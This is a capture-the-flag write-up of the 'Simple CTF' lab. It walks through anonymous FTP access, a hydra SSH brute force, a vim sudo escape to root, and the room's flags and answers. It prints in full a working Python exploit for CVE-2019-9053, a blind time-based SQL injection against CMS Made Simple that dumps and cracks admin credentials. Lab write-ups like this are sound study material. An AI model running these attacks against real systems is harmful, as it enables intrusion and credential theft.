Simple CTF

Another guided one. The questions basically hold your hand through the whole thing. Let’s get into it.


Recon

Same as always, nmap first.

nmap -sCV 10.112.154.104

Three open ports. 21 (FTP), 80 (HTTP), and 2222 (SSH on a non-standard port). Not a lot going on here.

The reason I use the -sCV flags is because I want to grab the version info on each service. If something is running an old unpatched version, that is a free ticket in most of the time.


FTP

Looking at the nmap output for port 21, it says anonymous login is allowed.

That means I can just walk in with no password.

ftp 10.112.154.104

When it asked for a name I typed anonymous and hit enter. No password needed. I was in.

Then things got annoying. Every command I ran was throwing back:

229 Entering Extended Passive Mode

One quick search online and the fix is just typing passive to toggle passive mode off and then everything works normally. Small thing but it wasted a few minutes.

passive

There is a directory called pub.

Inside it there is a file called ForMitch.txt. You cannot cat files from inside FTP so I had to download it first.

get ForMitch.txt

Then on my machine:

cat ForMitch.txt

The message reads:

Dammit man... you're the worst dev i've seen. You set the same pass for the system
user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

Okay. So I have a name now, Mitch, and I know he has a weak password on his system account. This is basically a sign pointing at SSH brute force.


SSH Brute Force

Hydra, let’s go.

hydra -l mitch -s 2222 -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://10.112.154.104

The -s 2222 flag is just telling hydra to use a different port since SSH is not on the default 22 here.

It cracked it pretty fast. Password is secret. Fitting.

ssh mitch@10.112.154.104 -p 2222

Inside.


Privilege Escalation

First thing as always:

sudo -l

Mitch can run /usr/bin/vim as root with no password. That is all I needed to see.

I checked GTFOBins for the vim entry and the command is:

sudo vim -c ':!/bin/sh'

What this does is open vim and immediately run a shell command from inside it. The -c flag tells vim to execute whatever comes after it as a command. :! in vim means run this as a shell command. So it just drops you straight into a shell running as root.

And just like that, I am root.

ls -la /home

There is another user called sunbath. And inside Mitch’s home directory there is a user.txt.

cat user.txt

G00d j0b, keep up!

Then:

cat root.txt

W3ll d0n3. You made it!

At this point I thought I was done. I was not done.


The Part I Almost Missed

Going back to answer all the questions I realized there were two I could not answer. One asking about a CVE and one about what kind of vulnerability the application is vulnerable to. I had not touched port 80 at all beyond loading the default Apache page and bouncing off it.

So I went back and ran gobuster.

gobuster dir -u http://10.112.154.104 -w /usr/share/seclists/Discovery/Web-Content/common.txt

There is a /simple path.

Opening it up shows a CMS. Something like WordPress but it is called CMS Made Simple. Scrolling all the way to the bottom of the page I can see it is running version 2.2.8.

The /simple page also has an admin login at /simple/admin which is what the exploit is targeting.

One search for that version and the CVE comes right up. CVE-2019-9053.

The short version is that the News module in CMS Made Simple takes a URL parameter called m1_idlist and it does not sanitize it at all. So you can craft a URL that asks the database questions and figure out the answer based on how long the server takes to respond. It cannot read the database directly, it just times the responses. Does the password start with a? If the page is slow, yes. If it is fast, no. It goes character by character like that until it has the whole thing. That is called blind time-based SQL injection.

I found the exploit script on Exploit-DB but it was Python 2. I found a Python 3 version of it and used that instead.

#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

# Python 3 Version
# Date: 28-12-2021
# Ported by: Enrico Renna
# Tested on: Python 3.10.1

import requests
import time
import optparse
import hashlib
import subprocess


try:
    from termcolor import colored
    from termcolor import cprint

except:
    print("[-] Termcolor Not Found\nInstalling...")
    subprocess.call([ "pip3", "install", "subprocess" ])


parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist",
                  default=False)

options, args = parser.parse_args()
if not options.url:
    print("[+] Specify an url target")
    print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
    print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
    print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist


def crack_password():
    global password
    global output
    global wordlist
    global salt
    word_dict = open(wordlist, encoding='latin-1')
    for line in word_dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5((str(salt) + line).encode("utf-8")).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    word_dict.close()


def beautify_print_try(value):
    global output
    print("\033c")
    cprint(output, 'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])


def beautify_print():
    global output
    print("\033c")
    cprint(output, 'green', attrs=['bold'])


def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(
                TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp \
                      + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt


def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password


def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(
                TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True


def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(
                TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True


dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print(colored("[*] Now try to crack password"))
    crack_password()

beautify_print()

I created a file on my machine, pasted the code in, and ran it:

python3 exploit.py -u http://10.112.154.104/simple --crack -w /usr/share/wordlists/rockyou.txt

It goes through the whole process, dumps the salt, the username, the email, the password hash, and then cracks the hash against rockyou. It takes a while because of the time delays baked into the injection but it gets there. It comes back with Mitch’s credentials, the same ones I already had. So both paths lead to the same place.

Now I could also log in to his CMS dashboard too.


Answers

How many services are running under port 1000? 2

What is running on the higher port? ssh

What’s the CVE you’re using against the application? CVE-2019-9053

To what kind of vulnerability is the application vulnerable? sqli

What’s the password? secret

Where can you login with the details obtained? ssh

What’s the user flag? G00d j0b, keep up!

Is there any other user in the home directory? What’s its name? sunbath

What can you leverage to spawn a privileged shell? vim

What’s the root flag? W3ll d0n3. You made it!


Takeaway

Pretty fun room overall. The FTP passive mode thing tripped me up for a bit which was annoying but also kind of realistic, that stuff happens. The vim privilege escalation was clean and satisfying once I found it on GTFOBins.

The part I almost completely missed was the web side. I basically ignored port 80 after seeing the default Apache page and went straight for SSH. It worked out but I would have had a gap in my answers if I did not go back. Good reminder to actually enumerate everything even when you find a way in early.

Two ways into the same account which was a nice touch from the room design.